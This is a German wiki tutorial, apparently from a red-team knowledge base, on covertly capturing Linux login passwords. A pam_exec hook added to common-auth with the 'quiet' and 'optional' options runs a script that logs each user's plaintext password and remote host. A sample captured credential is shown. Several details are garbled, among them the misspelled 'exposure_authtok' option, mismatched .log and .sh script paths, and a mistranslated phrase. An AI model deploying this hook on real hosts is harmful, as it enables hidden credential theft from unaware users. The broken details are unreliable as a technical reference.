Sniffing Logon Passwords with PAM
Version vom 10. Oktober 2022, 17:03 Uhr von Thomas.will (Diskussion | Beiträge) (→Die Optionen haben folgende Bedeutung)
Grundsätzliches
- Pluggable Authentication Modules (PAM) auf Unix-basierten Systemen sind nützlich, um das Anmeldeverhalten zu ändern und die Authentifizierung auf verschiedene Weise zu erzwingen.
- Angenommen, während einer Red-Team-Übung wurde ein Linux-Host kompromittiert.
- Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt.
Erstellung des Skripts
- cat /usr/local/bin/toomanysecrets.log
#!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
- Die Variablen sind PAM-spezifisch und werden über das Modul pam_exec.so verfügbar=
- Hier ist die Bedeutung der Variablen
- $PAM_USER: Der eingegebene Benutzername.
- $PAM_RHOST: Der Remote-Host (normalerweise die IP-Adresse)
- $(cat -): Dies liest stdin und enthält das Passwort, das das Skript abruft
- Die Ergebnisse werden in eine Protokolldatei unter /var/log/toomanysecrets.log geleitet
- Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z.
- chmod 770 /var/log/toomanysecrets.sh
Aktualisieren der PAM-Konfigurationsdatei common-auth
- Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen.
- Es gibt verschiedene Konfigurationsdateien in /etc/pam.d/, und wir wählen common-auth.
- /etc/pam.d/common-auth
- Fügen Sie ganz unten in der Datei das folgende Authentifizierungsmodul hinzu
auth optional pam_exec.so quiet exposure_authtok /usr/local/bin/toomanysecrets.sh
Die Optionen haben folgende Bedeutung
- optional: Die Authentifizierung sollte nicht fehlschlagen, wenn ein Fehler auftritt (dies ist kein erforderlicher Schritt)
- pam_exec.so: Dies ist das vom Land lebende PAM-Modul, das beliebige Skripte aufrufen kann
- exposure_authtok: Dies ist der Trick, der es erlaubt, das Passwort über stdin auszulesen
- quiet: Dem Benutzer keine Fehler anzeigen (wenn etwas nicht funktioniert)
- Das letzte Argument ist das zuvor erstellte Shell-Skript
Auswertung
- tail -f /var/log/toomanysecrets.log
Mon Oct 10 16:51:41 UTC 2022 xinux, 123Start$, From: 10.0.10.105